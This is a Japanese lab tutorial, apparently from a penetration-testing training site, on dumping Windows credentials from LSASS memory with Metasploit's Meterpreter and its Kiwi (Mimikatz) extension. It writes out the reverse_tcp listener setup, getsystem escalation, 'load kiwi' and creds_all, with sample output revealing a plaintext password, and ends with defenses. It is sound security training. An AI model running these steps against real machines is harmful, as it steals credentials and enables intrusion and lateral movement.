Meterpreter で Kiwi を使用して plaintext パスワードを抽出する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

ペネトレーションテストのポストエクスプロイテーションフェーズにおいて、主な目標の一つは、ネットワーク内を横断するために認証情報を収集することです。Metasploit の Meterpreter は、侵害されたシステム上でインタラクティブなシェルを提供する強力なペイロードです。

Meterpreter の最も強力な機能の一つは、有名な Mimikatz ツールのポートである Kiwi 拡張機能です。Kiwi は、攻撃者がターゲットマシンのメモリ、特にローカルセキュリティ機関サブシステムサービス (LSASS) プロセスから、平文パスワード、ハッシュ、PIN、および Kerberos チケットを直接抽出することを可能にします。

この実験では、Meterpreter セッション内で Kiwi 拡張機能をロードして使用し、シミュレートされた Windows ターゲットから認証情報をダンプする方法を学びます。

Windows ターゲットで SYSTEM 権限を持つ Meterpreter セッションを取得する

このステップでは、ターゲットマシンへのアクセスをシミュレートします。実際のシナリオでは、エクスプロイトを使用してペイロードを配信します。ここでは、Metasploit Framework コンソールを使用してリスナーを設定します。その後、シミュレートされたターゲットが私たちのリスナーに接続し、Meterpreter セッションを提供します。

まず、Metasploit コンソールを起動します。-q フラグは、バナーを表示せずに静かに起動します。

msfconsole -q

次に、シミュレートされたターゲットからの着信接続を「キャッチ」するためのリスナーを設定します。これには multi/handler モジュールを使用します。

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

ここで、exploit -j を使用してリスナーをバックグラウンドジョブとして実行します。

exploit -j

数秒後、セッションが作成されます。アクティブなセッションは sessions コマンドで一覧表示できます。

sessions

以下のような、アクティブなセッションを示す出力が表示されるはずです。

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

次に、セッション 1 と対話します。

sessions -i 1

プロンプトが meterpreter > に変わります。Kiwi を効果的に使用するには、最高の権限である NT AUTHORITY\SYSTEM が必要です。getsystem コマンドを使用して権限昇格を試みることができます。

getsystem

...got system というメッセージが表示されるはずです。getuid を実行して、新しい ID を確認します。

getuid

期待される出力は次のようになります。

Server username: NT AUTHORITY\SYSTEM

これで、次のステップに進む準備ができた SYSTEM 権限を持つ Meterpreter セッションが取得できました。

load kiwi コマンドを使用して kiwi 拡張機能をロードする

このステップでは、Meterpreter セッションに Kiwi 拡張機能をロードします。Meterpreter はモジュール式であり、その拡張機能は、初期ペイロードを小さく保つためにデフォルトではロードされない追加機能を提供します。Kiwi 拡張機能には、Mimikatz スタイルの認証情報ダンプを実行するために必要なすべてのコマンドが含まれています。

meterpreter > プロンプトから、load コマンドを使用して Kiwi 拡張機能を追加します。

load kiwi

コマンドが成功すると、Meterpreter は拡張機能がロードされたことを確認します。

Loading extension kiwi...Success.

Kiwi 拡張機能がロードされたことで、認証情報収集のための新しい強力なコマンドセットにアクセスできるようになりました。

help で利用可能な kiwi コマンドを一覧表示する

このステップでは、Kiwi コマンドが利用可能であることを確認します。Meterpreter で拡張機能をロードした後、help コマンドを使用して、利用可能なすべてのコマンドの更新されたリストを表示できます。これは、拡張機能が正しくロードされたことを確認し、新しい機能を確認するための良い習慣です。

meterpreter > プロンプトから、単純に help と入力します。

help

出力は、セクションごとにグループ化されたすべての Meterpreter コマンドの長いリストになります。出力をスクロールすると、「Kiwi Commands」という新しいセクションが見つかるはずです。このセクションには、Kiwi 拡張機能によって提供されるすべての関数がリストされています。

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

ご覧のとおり、Kiwi は Windows 認証メカニズムと対話するための多くの強力なコマンドを追加します。

creds_all コマンドで利用可能なすべての認証情報をダンプする

このステップでは、Kiwi 拡張機能の主要なコマンドを実行して、メモリ内で見つかったすべての認証情報をダンプします。creds_all コマンドは、WDigest、Kerberos、MSV などのさまざまな認証パッケージを対象とする、複数の異なる認証情報収集モジュールを一度に実行する便利なラッパーです。

このコマンドは LSASS プロセスのメモリにアクセスするために SYSTEM 権限が必要であることを覚えておいてください。そのため、最初のステップで getsystem コマンドを実行しました。

meterpreter > プロンプトから、creds_all コマンドを実行します。

creds_all

コマンドは LSASS プロセスを検査するため、実行にしばらく時間がかかります。出力は詳細で、さまざまなプロバイダーで見つかった認証情報が表示されます。以下は、表示される可能性のある内容のサンプルです。

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    NTLM      WIN-TARGET  LabUser     (null)
0;99876     NTLM      WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    WDigest   WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest   WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

ターゲットシステムのメモリから認証情報を正常にダンプしました。次のステップはこの出力を分析することです。

plaintext パスワードの出力を分析する

この最終ステップでは、creds_all コマンドの出力を分析して、plaintext パスワードを特定します。クリアテキスト認証情報を見つける機能は、Kiwi や Mimikatz のようなツールがラテラルムーブメントにおいて非常に強力である理由です。

前のステップで受け取った出力を確認してください。データは認証パッケージごとに整理されています。

  • msv: このパッケージは標準の NTLM 認証を処理します。ユーザーが最近インタラクティブにログインしていない限り、通常は plaintext パスワードではなくパスワードハッシュを提供します。
  • wdigest: 古い Windows システムまたは明示的に有効化されているシステムでは、WDigest はメモリ内にユーザーのパスワードの復号可能なコピーを格納します。Kiwi はこれを簡単に復号して、plaintext パスワードを明らかにすることができます。これはしばしば最も価値のあるセクションです。
  • kerberos: このパッケージは Kerberos チケットを管理します。WDigest と同様に、ログイン中のユーザーの plaintext パスワードをキャッシュすることもできます。
  • ssp および tspkg: これらのパッケージは、リモートデスクトップ接続などの他のサービスの認証情報を処理します。

前のステップのサンプル出力では、wdigest および kerberos セクションの両方で、ユーザー LabUser の plaintext パスワードを明確に見ることができます。

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

出力を注意深く調べ、Password 列の (null) 以外の値を探すことで、価値のある認証情報を収集できます。この情報は、そのユーザーとして他のシステムやサービスにアクセスするために使用できます。

まとめ

この実験では、古典的なポストエクスプロイテーション技術を実行しました。まず、シミュレートされた Windows ターゲットで SYSTEM 権限を持つ Meterpreter セッションを取得しました。次に、Mimikatz の機能を Meterpreter に統合する Kiwi 拡張機能をロードしました。

creds_all コマンドを使用して、LSASS プロセスのメモリから直接認証情報をダンプしました。最後に、出力を分析して、ログイン中のユーザーの plaintext パスワードを抽出しました。

この演習は、エンドポイントにおけるセキュリティ強化の重要性を浮き彫りにします。この種のアタックに対する防御策には以下が含まれます。

  • WDigest 認証の無効化。
  • LSA Protection (RunAsPPL) の有効化。
  • ユーザーおよびプロセスが不必要な管理者権限を持たないように、最小権限の原則を実装すること。

これで、攻撃者がインメモリ認証情報ダンプをどのように悪用してネットワークをさらに侵害できるかについて、実践的な理解を得ることができました。